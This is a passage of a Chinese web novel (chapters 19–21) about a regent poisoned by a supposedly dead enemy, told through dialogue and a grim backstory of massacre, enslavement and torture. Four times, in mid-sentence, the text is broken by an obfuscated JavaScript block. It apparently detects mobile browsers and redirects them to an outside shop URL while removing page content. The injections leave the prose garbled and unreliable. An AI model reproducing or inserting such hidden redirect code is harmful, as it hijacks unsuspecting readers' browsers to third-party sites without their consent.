离素蹙起了眉头看向她:“所以,是乱党?” 李予微握着茶杯的手却瞬间紧了紧。 “所以阿姐回姑苏的事要立马准备,不能再耽搁了。” 离素也严肃的点了点头表示附和。 “还有一件事,阿祁那里你打算怎么说?” “直接假死脱身怕他承不住,但若说出真相……还是这些年你瞒他瞒的太好了。” 李予微侧首看向一旁,案台上的花瓶里还插着一枝杏花,含苞待放,开的正好。 想来是尺霜见她喜欢,就从宫里折的带了出来。 “告诉部分真相吧。” “就说阿姐的病和乱党的参与就可以了。” “以前不说除了不想让他涉入危险以外,更多的是为了照顾阿姐的情绪。” 就像父母总是想在儿女面前展现无所不能的一面一样,她也无法让阿祁面对这样的自己。 “不过这件事,素素姐还是先不要和阿姐说。” “至于阿祁那边,我来说就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588908|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离素点头:“我明白,不过太后薨逝,你确定有办法能瞒过阿姝这个当事人?” “素素姐放心,我有办法的。” “还有一件事,你不打算让阿祁知道你的身份?” 李予微眼眸低垂,哑声道: “没有必要。” 在阿姐和阿祁面前,她希望李予微只是李予微,而贺景窈只是贺景窈。 她不想让他们知道太多。 离素微微皱眉:“你别忘了,你答应我的一年之约。” 李予微收回目光,露出了一个带走安抚性的笑容: “放心吧素素姐,这一切很快就结束了。” 离素看着她,嘴唇张了张,像是想要说什么,最终都化作一声叹息。 “你好好休息,现在立刻去躺床上,别想着看那些奏章!少一天看出不了事,身上出了任何不对立刻来找我,不许再瞒我!” “算了,这些话对你说不好使,我一会多嘱咐斯南他们,他们能时刻看着点你。” “我去研究怎么配你的药去了,今晚我也在你这住看着你点,省得你又造作自己的身体……” 说着离素又嘟嘟囔囔的离开,李予微看着她往外走的背影,突然冷不丁的来了一句: “素素姐,我如今的身体,还能用几次尽春华?” 离素猛的停住身,眉头皱的死紧: “你怎么突然问这个?” 李予微只是微笑。 “没什么,觉得你上次说的挺对,尽春华对我影响挺大的,所以也在考虑等一切结束后废了这项武功,让自己活的久一点。” 离素眉梢这才舒缓起来。 “你能这么想最好,趁着尽春华还没彻底与你身体经脉融为一体,现在废了的话我都能救回来。” “否则以你现在的身体,最多再用三次尽春华,就会如同行将朽木,油尽灯枯了。” “什么都没有命重要,别舍不得占春芳,而且就算你现在留着占春芳,也动不了几次内力,最后反而还会使两部功法与经脉彻底融合,到时候就真的无力回天了。” “嗯,我知道,但现在危机四伏,我废了占春芳只会让自己面对危险无自保能力。” 离素也不逼她,毕竟逼她根本不好使,而且如今她能起了这样想法,对离素来说已经是很大进步了。 “反正你自己心里有数就好,别整天瞎嚯嚯自己身体,最后把自己折腾死了。” “那我可是要和你姐告状的。” 李予微平静道:“放心吧素素姐。” “我不会死的。” 乱党未除,还有很多人还没死。 她怎么会让自己现在死呢。 —— 深夜,归一楼 高楼之上的风似乎格外喧嚣一些,将未合的窗户来回作响。 而在那窗前斜斜倚着一个身影,对着月亮,大半个身子却都藏在阴影中。 月光下只能看清那雪白的裙角,和腰间垂落的金色丝绦,随着吹来的风轻轻摆动,折射出微微的流光。 此时,一道黑影悄无声息的进来,单膝跪地。 “任务失败,被人发现了,请主子责罚。” 铛—— 楼下传来打钟人的钟声,在空荡荡的街道不断的回响。 19. 奸臣当道 良久,忽然从黑影中伸出一只纤细的手,紧接着传来一声女子的轻笑,像是带着几分花瓣的娇软,却让地上的黑影身形一颤。 就在他以为此次必死无疑时,那只手却并非是要取他性命,而只是取了桌前的一只酒盏。 “起来吧,让你下毒的目的本也不是让你毒死她,你要是真成功了,我反而才要不高兴了。” “她发现中毒后,有什么反应?” 黑影沉默些许,才垂首应答,只是声音却带着些许疑惑: “按理说归心散入体无影无踪,但在那李予微身上却反应极大。” “而且奇怪的是,李予微发现中毒后,应该是立刻察觉到是在小皇帝送来的杏花酪里的。” “但她却什么都没有做,反而急匆匆的回了丞相府,虽然丞相府戒备森严看不到近况,但宫里那位药王谷传人,却是在毒发第三天才进的丞相府。” “想来是因为归心散引发症状并不明显吧。” 是因为症状不明显吗? 怎么可能。 如此微量的归心散,能在她身上这么快起作用,那么她肯定修炼了那半部功法。 那么中了毒后,怎么可能症状不明显。 联想之前的话,女子几乎立刻就能得出她这么做的原因。 正因为知道了是小皇帝下的,才怕人察觉吗? 阿窈啊,怎么这么久过去了,你还是这么有趣啊。 女子抬手将酒盏对了对月亮,笑声连连,忽然不知想到了什么,若有所思道: “天暖春临,见北境的那些部落折腾了一整个秋冬,我们龙椅上锐气正盛的小皇帝,怕早就坐不住了吧。” 中原百姓秋季农忙,冬季养精蓄锐,而游牧民族恰恰相反。 他们养的牲畜到了秋天已经膘肥体壮,部族的青壮年皆得以脱身,兵强马壮又见中原富庶,自然蠢蠢欲动妄图一揽油水。 可到了春季,新草初生,牲畜产仔,狄戎部落青壮年都投入劳作,无法形成战斗规模,正是最好的反击时刻。 “可近年来狄戎的部落还有几个能受得住大兴的兵力?” 要知道北境狄戎部落众多,骚扰大兴未必是所有部落的共同决定。 但大兴对他们反击,可是一视同仁的。 “那些北境藏在京城中的老鼠,怕是坐不住了吧。” 女子将捏在手里摇晃了半天的酒盏中的清酒一饮而尽,沉声开口: “你去帮他们一把,省的那些不成气候的老鼠,掀不起大的风浪。” “这京城要是一如既往,就没意思了。” “还是变一变的好。” “是。” 黑衣人领命,却没有立刻离开。 女子垂了垂眼眸:“还有何事?” “回主子,小公子来京城了。” 啪! 酒盏落在桌案上,发出清脆的响声,女子一声冷笑: “他倒是执着,那么多人拦他,还心心念念着回京城。” “算了,不必管他。” 紧接着不知道想到什么,声音又一下子轻软了起来。 “他可出不了什么事。” “阿窈对他可比对我好,可舍不得杀他呢。” —— 与此同时,丞相府药阁 离素摆弄着药材,头也不抬: “这几天的药都在那,怎么熬都写在上面了,你看着熬就成。” 尺霜按照离素指的方向取了药,却没有立刻离开,反而看向离素,试探性问道: “离素姑娘,我能问一下……曲清欢到底是谁?” 离素称药的手停了下来,抬眼看他: “怎么突然问这个?” 尺霜顿了顿道:“主子一直在念这个名字,我跟在主子身边这么多年,从没在主子身边听过这个名字,所以就派人去查了查。” “结果一查才知,曲清欢这个名字曾经在京城也是比较有名。” “点苍门的大小姐,虽然武功天赋不如她弟弟,但谋略极佳。” “当时有不少人传闻,相比她弟弟,她更适合成为点苍门下一任门主。” 说到这里,尺霜停了一瞬: “但在八年前,点苍门一夜之间大火冲天,点苍门门主及整个内门弟子悉数被灭,曲氏姐弟不知所踪,从此点苍门便销声匿迹,江湖再无其名。” “而那些据说存活的弟子我也查到了,就是如今仍在流窜的乱党。” “离素姑娘,我说的对吗?” 离素放下了手中的称,看向她: “尺霜,小微在未央宫对你说过的话,还没过去多久,你就忘干净了?” 尺霜沉默了一瞬:“我没忘,但我不想每次都让主子一个人扛。” “就算主子罚我,我也想知道,我想帮主子。” 离素沉默了片刻,看向她执拗的眼神,最后还是有些无奈的对她讲了起来: “你说的没错,但那群畜生,说是乱党,倒不如说是戾帝死忠的走狗。” “或者说整个点苍门,都只是曾经大兴皇室的走狗罢了。” 曾经大兴皇室…… 尺霜心底念了念这几个字,联系其乱党身份,很快就明白了这句话的意思。 戾帝在位时,浮生楼和点苍门虽二分了整个江湖,不相上下,却又各有不同。 浮生楼只重百姓兴利,不涉朝堂党争不同,点苍门却是与朝堂涉交极深。 而在涉入朝政后,点苍门不仅没被朝廷清理,反而日渐壮大,甚至能够参与左右了朝堂党争。 可戾帝虽然为君不仁,但底下儿子倒是都为帝王之才,任何一人登位都可安定天下。 除了无心权力,自请封地离开的安王,也就是后来的明成帝,被排除在外,没有人清楚点苍门到底支持哪位皇子。 可直到几位皇子你死我活,最终两败俱伤,最后只剩下太子一人时,点苍门却仍旧屹立不倒。 这时候很多人都以为,点苍门效忠的是太子,只有极少数聪明人心里已经有所猜测,点苍门会不会效忠的就是龙椅上的那个人。 但被绝大多数人否定了,因为点苍门也是江湖中有名的武林门派,无论是创立,还是入朝堂,所言所行只为天下民生,扶持圣明君主。 这一点,是历代点苍门主终身所行,纵权柄加身而不被淤染,以国器安民生。 而这唯独剩下来的太子,显然也是有明君之相。 可了解浮生楼灭门之事的尺霜,也很清楚,后来的点苍门,早就不是最开始以拥护明君定天下为目标的点苍门了。 点苍门拥护的不再是明君,仅仅成为了大兴皇室,真正成为了大兴皇族的走狗,全力支持当时龙椅上的戾帝。 离素看向尺霜,轻声道: “跟在你主子这么多年,想必你也大概清楚一些关于浮生楼的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588909|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“与点苍门趋炎附势不同,浮生楼直到最后都恪守松筠之节,不失清正之风。” 不畏强权压迫,不惧外敌侵扰,不损立世脊梁,曾经的浮生楼真正做到了兴天下之利,除天下之害。 “但这也彻底触犯到了龙椅上的那位。”离素冷声道:“戾帝面对狄戎各族,步步退让,面对可能威胁到他地位的江湖势力,却尽数彰显他那帝王之威。” 所以在戾帝的一句罪不容诛中,在整个点苍门正邪不分的帮持下,浮生楼满门被灭,仅余断壁残垣,满目疮痍。 “而带头去灭浮生楼满门的,正是那点苍门大小姐,狗皇帝最忠实的走狗——曲清欢。” “可以说浮生楼满门性命,你主子一生中所有悲剧,曲清欢,绝对功不可没。” 离素声音带着咬牙切齿,听到这话的尺霜寂然片刻。 主子所有的悲剧……除了浮生楼灭门,就只有一个人…… “莫非太后娘娘身上的归心散,也是这个人下的?” 离素沉默了,在她的沉默中,尺霜获得了答案。 “归心散真的没有办法解吗?一定要用尽春华?” 离素叹了口气,恶狠狠道:“你当我想吗?当年但凡有一点其他办法,我都不会让你主子用尽春华,那家伙出什么事我怎么向阿姝交代!” 可是没一会离素就蔫了下来,就李予微现在这样子,她还真没办法向阿姝交代。 她终归没有照顾好这个妹妹。 “那这次主子中的归心散会不会是曲清欢下的?” “不可能!离素毫不犹豫的开口:“曲清欢已经死了,还是你主子亲手杀的。” “绝不可能是她!” “好了我这边还要处理药材,你不要给你主子熬药吗?不要在我这里说这些乱七八糟的了。” 离素已经开始赶人了,尺霜纵使心中还有很多问题没有解惑,但见她样子尺霜也知道问不到更多了,便只好离开。 眼见尺霜的背影彻底消失不见后,离素冷声道: “人都走了,还不出来?” 话落下后,从暗处走出来一个身影,正是斯南。 见是他,离素好不意外,冷笑道: “斯南公子好算计啊,你自己不敢告诉尺霜,曲清欢是谁,就让她来找我,你怎么就这么确信我就一定会告诉她?” 斯南轻叹了一声,缓缓道: “因为你也觉得这件事是她做的,既然如此,尺霜对敌人多一分了解总是好的。” 无人时,斯南不会那般唤着疏离的敬语,两人之间也带着不一般的熟稔。 而离素听到这话则将手里还没包好的药材狠狠往桌子上一甩,药材散了也不管,声音的冷意几乎也化为实质: “当年在点苍门,我们可是亲眼看见她没了气息!你是在质疑我这个药王谷传人看错了?” 斯南轻叹一声,没有立刻辩驳,只是上前一步,归拢好桌面散开的药材:“既然如此,你为何要配这幅丸药?” 虽然药材不全,但他还是看出来了。 “我没记错的话,你们药王谷给它起名龟息丸。” “又名,假死药。” “离素,你也觉得曲清欢没有死,对吗。” 斯南的话,宛若重击般一字一句的砸在了尺霜的心头之上,砸碎了她心里最后一丝侥幸。 这一刻,明明屋内暖炉未歇,她却觉得浑身冰寒,如坠冰窟。 20. 奸臣当道 夜色如墨,寒风彻底吹开门窗,穿堂而过,发出阵阵呜咽,斯南捏起一味药材,声音在这冷肃的空气中格外明显: “留在主子这里前,我一直是跟在你身边的,也帮过你配过不少药,其中有一方就是这南诏来的龟息丸。” “你当时还说,南诏这小国虽然武力不高,却总有些稀奇古怪的东西,比如那能让人陷入幻境,甚至消除记忆的秘法镜水月,比如这道能让人陷入假死状态的龟息丸。” “因为你这话,我也对手里配的这方药也格外注意,不会记错里面的药材。” “而且,归心散是点苍门秘药,只有点苍门传人才会知晓,就连曲清欢的亲弟弟也不清楚具体药方。” “当年点苍门被一把火烧毁,包括点苍门药房,所有归心散也被尽数销毁。” “你为了研究出归心散解药,命人在点苍门上下翻找,几乎将点苍门翻过来都没再找出一丁点归心散来研究。” “而这世上除了当年的点苍门主,应该只有早就被定好的下一任点苍门主曲清欢知道归心散的具体药方。” “点苍门老门主是被戾帝下令所杀,还是你将他从乱葬岗挖出来,给他收的尸,全了他最后的体面。” “所以知道秘方的,就只剩下曲清欢一个人了。” “那这突然冒出来的归心散,也只会有这一种可能。” 离素看向斯南,心中复杂翻涌,她无法否认斯南说的话,甚至一句反驳都说不出来,因为她也是这么认为的。 而且作为医者,她比任何人都要清楚李予微体内的归心散药量之微小,哪怕在她那放大无数倍的体质里,也不会立刻致命。 是因为归心散的反应无声无息,所以想要长期下药吗? 离素不这么认为。 她反而觉得下毒者不像是致人死地,更像是挑衅,像是宣告,像是标记。 这种事却偏偏是曲清欢那个疯子最喜欢做的事。 尤其是对于她相中的猎物。 曲清欢就是个疯子。 要知道不仅仅浮生楼,点苍门满门灾难也是因为曲清欢。 其实点苍门最开始不是戾帝为虎作伥的帮凶,点苍门老门主是真的和浮生楼一样,一心想要终结这乱世的。 那时浮生楼还没遭遇灭门之难,在戾帝暴政下,天下英豪辈出,药王谷世代行医,人脉广,交友多。 她师傅,也就是药王谷谷主也曾和点苍门老门主有不浅交情,就连浮生楼和点苍门相交,药王谷都有着一份功劳。 那时的药王谷主、浮生楼主和点苍门主也因此成了相交挚友,在聚谈中谈到天下局势。 他们说到戾帝早就忌惮江湖势力,尤其是涉政极深的点苍门,所以一再让老门主退出京城,远离朝堂。 可老门主提到戾帝的儿子,觉得只要他们任何一人上位,总会比戾帝暴政好,会终结这乱世。 所以那时戾帝最忌惮的江湖势力,不是远在姑苏的浮生楼,而是盘踞京城的点苍门。 可老门主不肯撤离,点苍门会出事,也一直在他们的预料之中。 师傅得到消息,第一时间赶往京城,一进城就听到了点苍门已经换了门主,新任门主正是曲清欢。 而老门主被戾帝下令处死,尸身都被扔到了乱葬岗,听说动手者也是曲清欢。 曲清欢疯了,京城都这么传闻的。 没有人知道她为何突然站到戾帝这边,她不仅帮戾帝杀掉所有反对他的声音,甚至她亲生父亲反对她时,她直接手刃了自己的生身父亲,追杀自己的亲弟弟。 曲清欢正式成为了点苍门主,而点苍门也彻底成为了戾帝的走狗。 最后还是师傅带着她为老门主敛了尸骨,带着她找到了点苍门。 那是离素第一次见曲清欢,在此之前她与阿姝的通信中不止一次谈到了曲清欢这个人,可从心中得出的所有印象,都在见面时震得粉碎。 因为面前这个女子残忍而又冷漠,在得知他们送来自己父亲的尸骨是没有任何反应,在师傅的质问中甚至还能笑出声。 就连师傅都想不通挚友的女儿怎么会变成这个样子。 如同一个毫无感情,只会撕咬的野兽。 唯一能影响她的只有对戾帝推崇,和对猎物的好奇。 她和师傅是被曲清欢赶出京城的,那时狄戎还没开始攻打大兴,反而是戾帝下令出兵南诏,遍野内外尽是反对之声,曲清欢却是一马当先领命上任。 但最后这场仗也没打成,一是因为浮生楼联合所有势力请愿反对,二是狄戎犯境,大兴不得不率先应对北方边境。 可没想到因此被戾帝记恨上,当时请命的护国将军被戾帝联合北戎斩杀,浮生楼满门也尽数丧命。 那是整个大兴最黑暗,最混乱的一段时间,直到周怀瑾集结兵马起义,一路攻向京城。 可谁知即将攻打京城时,曲清欢竟派人传信,以贺英姝的性命逼周怀瑾退兵。 原来得知浮生楼灭门的贺英姝单枪匹马前往京都报仇,但她只有一个人,拼尽一切也只杀了戾帝就被抓住,成为了筹码。 如今京城已经拥立太子称帝,可周怀瑾带兵一路攻入京城,早已没有回头路可走,他投降退兵,不仅仅是他,所有跟他起义的都不会有好结果。 好在最后设计周旋,阿姝还是被救了出来,但却因此中了归心散,神智崩溃,生不如死,离素这才得到消息赶往京城。 最后周怀瑾率兵打下京城,太子在混乱中逃窜而出,成了乱党。 可点苍门并不是灭在起义军手上,曲清欢也并不是死在周怀瑾或贺英姝剑下。 等起义军进城时,整个点苍门早都陷入火海之中,门内尸横遍野,如同当年浮生楼一般。 而曲清欢则是被人整个钉在了点苍门大门前,一剑穿心,没了气息。 这一切是都被赶来的离素看在眼里的,她是亲手探过脉搏气息,确定已无声息的。 所以离素这么多年才一直确认,曲清欢是死了。 可后来南诏上供的贡品中,有各种稀奇古怪的药品,其中就有这龟息丸,离素才明白世界之大,无奇不有,所以疯狂学习南诏那边药品知识。 “我记得,当年曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588910|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清欢的尸身是被她亲弟弟带走的吧。”斯南忽然开口。 离素抿紧了唇。 因为当年贺英姝能被救出,她弟弟功不可没,所以在他说要带走尸身时,无论是她还是周怀瑾,终究没有拦他。 现在看来,就不应该让他带走,就该一把火将其彻底烧毁,连渣都不该留。 离素是在和周怀瑾攻进京城时,才知道贺景窈没有死的,而且点苍门这件事应该也是她做的。 因为将曲清欢钉在门前的那柄剑,正是逢春剑。 贺景窈在报了仇,杀了曲清欢后,并没有带走逢春剑,只是连剑带人钉在点苍门牌匾上,就离开了。 可当时他们无论怎么搜寻,却都找不到贺景窈的踪迹。 还是在半月后,竟是千里之外师傅给离素传了信。 他说他有贺景窈的消息了,一位去药王谷就医的侠士曾在姑苏城外的山脚下碰到了她,因为曾受过浮生楼恩惠,所以一眼就认出了当年浮生楼的少楼主。 当时的贺景窈受了很重的伤,她留下了逢春剑,在离开点苍门后,又强撑着身体,近乎一无所有,又遍体鳞伤的踏上了归程。 她一路往南走,不知道这漫长的路程又是如何活下来的,又不知走了多久才走到了姑苏城。 那时的她衣衫虽撑不上褴褛,却十分残破,应该是在路上洗了很多次,算得上干净,却又印着怎么都洗不掉的血渍。 明明好不容易到了姑苏,却一直在城外徘徊,迟迟没有踏进姑苏城。 被认出来时,贺景窈脸色惨白,却又平静的厉害,伤口又一次渗出血来,却还是拒绝了他的帮助,只向对方借了一点点钱,就离开了。 侠士不放心她,就一直悄悄跟在后面,发现她用那点钱,去换了一身干净的衣裳,把自己整整齐齐的打理好后,又一次的走在了回姑苏的路上。 再后来侠士就不知道了,因为贺景窈发现了他,还是将他劝走了,临走前说她离家太久了,现在要回家看看,于是侠士就离开了。 于是师傅又重新赶往了姑苏,可翻遍整个姑苏都没找到贺景窈的踪迹。 从得知贺景窈还活着时,姑苏城里一直都留有眼线。 若是她进了姑苏城,消息肯定第一时间就传往了药王谷和京城。 可是没有,一点消息都没有。 又一次,他们失去了贺景窈的踪迹, 但这次不仅周怀瑾派出无数人手,药王谷也动用了全部人脉,经过数月的寻找,终于功夫不负苦心人,找到了贺景窈。 可却是在北境边城找到的,那里距离姑苏有千里之遥。 原来在侠士走后,她最后还是踟蹰了,可能是离家太久,已经变得面目全非,怕爹娘和浮生楼认不出她,终归是近乡情怯,停在了城门外的一棵树下,遥遥望着城门。 可她的身体却无法让她迟疑了,因为重伤未治她早已成了强弩之末,最终倒在了姑苏城的门前。 而那时的贺景窈还不知道,因为这一次犹豫,她错过了最后回家的机会。 从此往后,她再也见不到那梦中的江南了。 21. 奸臣当道 离素是在北境最大的地下奴隶场里,找到的贺景窈。 那时力竭昏倒的贺景窈,是被一旁路过的人捡了去。 可是对方不是什么好人,见她还有口气,又模样不错,就卖给了牙婆,送往了北境的边城当奴隶。 那是一个与姑苏相反方向,截然不同的城镇。 奴隶场中,造物者最瞩目的生灵,只是上位者任人摆布的玩物。 在这里,没有能力保护的美丽本身就是一种错误。 而被运到这里贺景窈,因为那张姣好的脸蛋而被看中,成为了奴隶主最钟意的奴隶。却又因为被运来的路上从没有被好好治疗过,伤上加伤,根本无力反击。 所以等到离素找到贺景窈时,她几乎都不敢认。 贺景窈浑身上下伤痕累累,血肉模糊,除了面容完好,其余几乎看不出一块完整的皮肉。 不仅如此,许是觉得她有些功夫,所以为了防止她反击,不仅寸寸敲碎了她所有的筋骨,还将她的手腕脚踝都用锁链穿透,绑在了十字架上。 曾经恣意昂扬,轻易不肯低头半分的少楼主,在离素见到时,正被以极其屈辱的姿态按压着,锁链哗啦作响,头颅低垂,后颈处露出了一个被烙铁烙出来的深深的‘奴’字。 她就那样跪匐在那里,毫无生息,生死不知。 但幸好离素发现还有极其微弱的脉搏,将人带回了药王谷,和师傅用尽办法,才勉强将她全身的骨头接好,勉强将人救了回来。 可就算身体的伤被一点点救回,但醒来的贺景窈却死寂的厉害,眼神空洞,虽然仍在呼吸,却又没了半分活着的气息。 没有人知道贺景窈这一路到底经历多少,她是怎样从曲清欢手里活下来的,曲清欢不可能轻易放过她。 而九死一生逃出来的贺景窈是怎样反杀的曲清欢?又是如何被人卖到北境,在那个暗无天日的奴隶场呆了多久? 这些离素都不敢问,就像她现在都不敢提及贺景窈颈后的疤痕。 那时阿姝发现她颈后烙印的‘奴’印记,就疯狂嘶喊着她不是自己的妹妹,还差点杀了她。 那时的离素刚打掉阿姝手中的金簪,想开口解释时,却突然止住了话头。 因为贺景窈不顾自身的伤势和他人阻拦,挡在阿姝面前,鲜血浸透了她的白衣,滴滴答答的落在地上。 她犹如被人撕扯后,残破的纸鸢,红着眼眶,跪坐在地上,无声哀求。 离素彻底哑了声音,再也无法说出半分话来。 还是周怀瑾最后下了决定,他知道贺景窈不想让自己的姐姐知晓自己身上烙印的来源,更不想让贺英姝知道她所遭遇的一切。 而他也存了自己一分私心,不愿此时状态崩溃的贺英姝知晓这一切,加重病情,所以他决定对阿姝隐瞒这件事。 在他们好不容易安抚住阿姝时,踏出殿门的贺景窈却是十分平静的抽出了一旁的匕首。 她甚至都没去管胸口被金簪捅出来的伤口,就用匕首极其狠戾般的削下了后颈处的皮肉,在沾满血的匕首掉落时,她神情都是平静。 离素阻拦不及,只来得及接住昏死过去的贺景窈,自那以后,阿姝仍旧在找她的妹妹,只是与以往不同的是,她身边多了个沉默寡言的女官。 而她后颈处留下的拳头大的疤痕,也默契的成为了所有人闭口不提的禁忌。 斯南突然开口:“关于主子在点苍门里的那些事,你没有告诉尺霜。” 离素低下头,手指不自觉地摩挲着桌上的药材残渣,轻叹道: “尺霜毕竟不是当年的参与者,那些事没必要全都对尺霜说。” “她也不会愿意自己那段过往被身边人知道。” 毕竟无论是贺景窈还是李予微,最讨厌的,就是怜悯。 曾经的少楼主拥有的只会是恣意与艳羡,如今的摄政王宁可让别人对她惧怕与忌惮。 所以不管是过去还是现在,她都不需要别人的可怜。 也最不愿意被人可怜。 哪怕她这一路走来,真的很可怜。 也不会承认半分。 所以离素才不希望曲清欢还活着,曲清欢活着,打击最大的一定是李予微。 她真的太苦了…… 斯南叹出一口气,没再多说什么,只道:“主子有事唤我,我先走了。” 他匆匆离开后,药阁又重新恢复了死寂。 而斯南也不是骗离素,李予微的确叫她过去, 待斯南赶到时,李予微正站在窗前,怔怔向外看去。 京城的天气就是这般无常,明明已经到了早春时节,天空还能飘落细细密密的小雪。 李予微就这样看着窗外的雪出了神,在雪花被风吹进来时,还伸手去接那飘进的雪花。 “主子,天寒,莫要再站在窗前了。” 在斯南的声音响起时,李予微这才收回了手。 “京城的二月总是这般寒凉,未央宫里的那片杏花,怕是要死在这场雪里了。” 斯南感叹:“终归不是京城开杏花的时节,若是在姑苏,应该能开的更好。” 李予微道:“你是从姑苏回来的,那里的杏花可开了?可是比往年晚?” 斯南轻声道:“离开姑苏城时,城内许多花树都起了花苞,想来如今也开花了罢,并不比往年晚。” 李予微沉默几瞬,开口道:“既然如此,他为何不再等等,偏要在杏花还没开时就离开了姑苏。” 虽然李予微并未明说,但斯南知道她说的是谁。 与尺霜一直留在京都,守在主子身边不同,他则一直都是在外面收集消息,执行任务的。 但斯南最大的任务却是守着一个人,也正因为那人来到了京城,所以斯南才终于能回到了王府。 所以才有李予微这么一问。 “可能是执念未解,所以纵然是龙潭虎穴,也要来闯一闯,一定要得出一个答案吧。” 听到斯南这个答案,李予微再次陷入了沉默,不过不知想到了什么,她突然转身,看向斯南: “他恢复记忆了?” 斯南声音平稳:“并未。” “当年是主子您亲手为他下的镜水月,镜水月目前无解,主子应该放心才是。” 李予微带了一丝苦涩:“你也说了是目前无解,这个世界总会有万一。” “但既然没有恢复记忆,他又何来的执念?” “京城不是好地方,他到底为何,偏偏来此?” 这个答案是斯南无法给出的,而李予微在说话时看向天边出神,斯南随之看去,夜空上黑漆漆一片,连星星都被遮掩了彻底。 斯南突然道:“目前人已经被安排在了城东的一处院落里,改日主子可要去看看。” 李予微收回目光,垂了垂眼眸。 “不必改日了,就现在,备车吧。” —— 城东小院里 一个墨衣少年正在捣鼓着面前的柴堆,却因为下了小雪,导致木柴都有些湿了,怎么都生不起来火,反而弄出了阵阵的浓烟。 而在他身后不远处,一个白衣男子闲适的倚在躺椅上,天上飘着小雪,他却装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588911|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模作样的摇起了折扇。 不仅不上手帮忙,还隔着老远指指点点道: “你这样不行,都说了要先用内力烘干木柴。” “就你这样我什么时候才能吃上这顿烤肉,我怕是今晚都要饿死在这里了。” “对了,你那兔子肉清理过了吗?要提前腌制一段时间更入味。” 少年白了男子一眼:“光吃不做的人没资格说话,你这么厉害你来啊。” 白衣男子一下子就起了劲头,此刻摇扇子的手也停了:“你这小兔崽子怎么跟你师傅说话的,明明是你笨手笨脚,还赖上我了,我来就我来,让你看看为什么我是师傅,你是徒弟!” 说着白衣男子还真的起了身,啪的一声收起了折扇别在腰上,接过了少年面前柴堆,在他的操作下还真的几下就生起了火。 然后男子就矜贵的抬起了下巴,转身得意洋洋的看向少年,可少年并没有给他想要的反应,反而整张脸都绷了起来,声音是难掩的愤怒。 “所以你早就能弄好,却在一旁一直指导,看我瞎折腾半天,还弄了一脸的灰。” 白衣男子有一瞬间的心虚,在转身看到了少年一身的狼狈,脸上更是花不溜秋,使他因愤怒瞪圆的眼睛也莫名搞笑了下来,嘴角又忍不住泛起了笑意。 不过他压住了,若是他此时笑出了声,眼前的人怕是炸毛的更厉害。 男子使劲抿平了嘴角,一本正经道:“为师这是训练你生存的能力,若是在外头一个人遇到了这种突发状况,你不会生火,不是就饿肚子了嘛。” 墨衣少年半点不信他的邪,又送了他一个大白眼: “得了吧,你就是懒。” 被说中的白衣男子轻咳一声掩饰,面上仍旧是一本正经:“胡说什么,为师都说了这是训练你的能力。” “既然你如此怀疑为师,为师就给你露一手,去把盐和胡椒拿来,今晚为师就让你尝尝我的手艺。” 少年怀疑的看向男子,但还是开口道:“咱们来这院子时,翻箱倒柜才找出来一点盐,哪有什么胡椒。” 男子立马开口:“那不行,没有胡椒的烤兔子是没有灵魂的,要真没有胡椒,其他香料也成。” “我记得咱们进城时,门口有几株草好像是我要的香料,你去给我拿来吧,” 少年顿时抓狂:“那在城西,咱们现在在城东好吗!而且你进门时怎么不采,那时候咱们饿的厉害,看到地皮都想啃两口,你碰到能吃的,你居然放过了!” 白衣男子有轻咳了两声:“咳……咱们毕竟是进了京都,还是要注意我们大侠的形象的,怎能像以往一样当众拔草啃,” “你不是也没注意到嘛,而且那时候以为一进京城就能吃顿好的,谁还啃那破草。” “诶呀反正你快去,你回来正好开饭,速去速回哦!” 少年逆不过他,在他一顿输出后还是决定去城西采他要的香料。 临走前狐疑的看向他:“你不会给我偷吃光了吧。” 男子笑容满面:“怎么会呢,都说了你回来才会开饭的。” “你什么时候说我回来开饭了,就算说了也有总是说的比唱的好听。”少年小声嘟囔,却还是出了门,他身轻如燕,没一会就没了身影。 在少年身影彻底消失在夜色中后,白衣男子收起了方才嬉皮笑脸的笑容,一瞬间仿佛变了一个人一般,带着淡淡的威压,声音都夹杂着几分不容置疑。 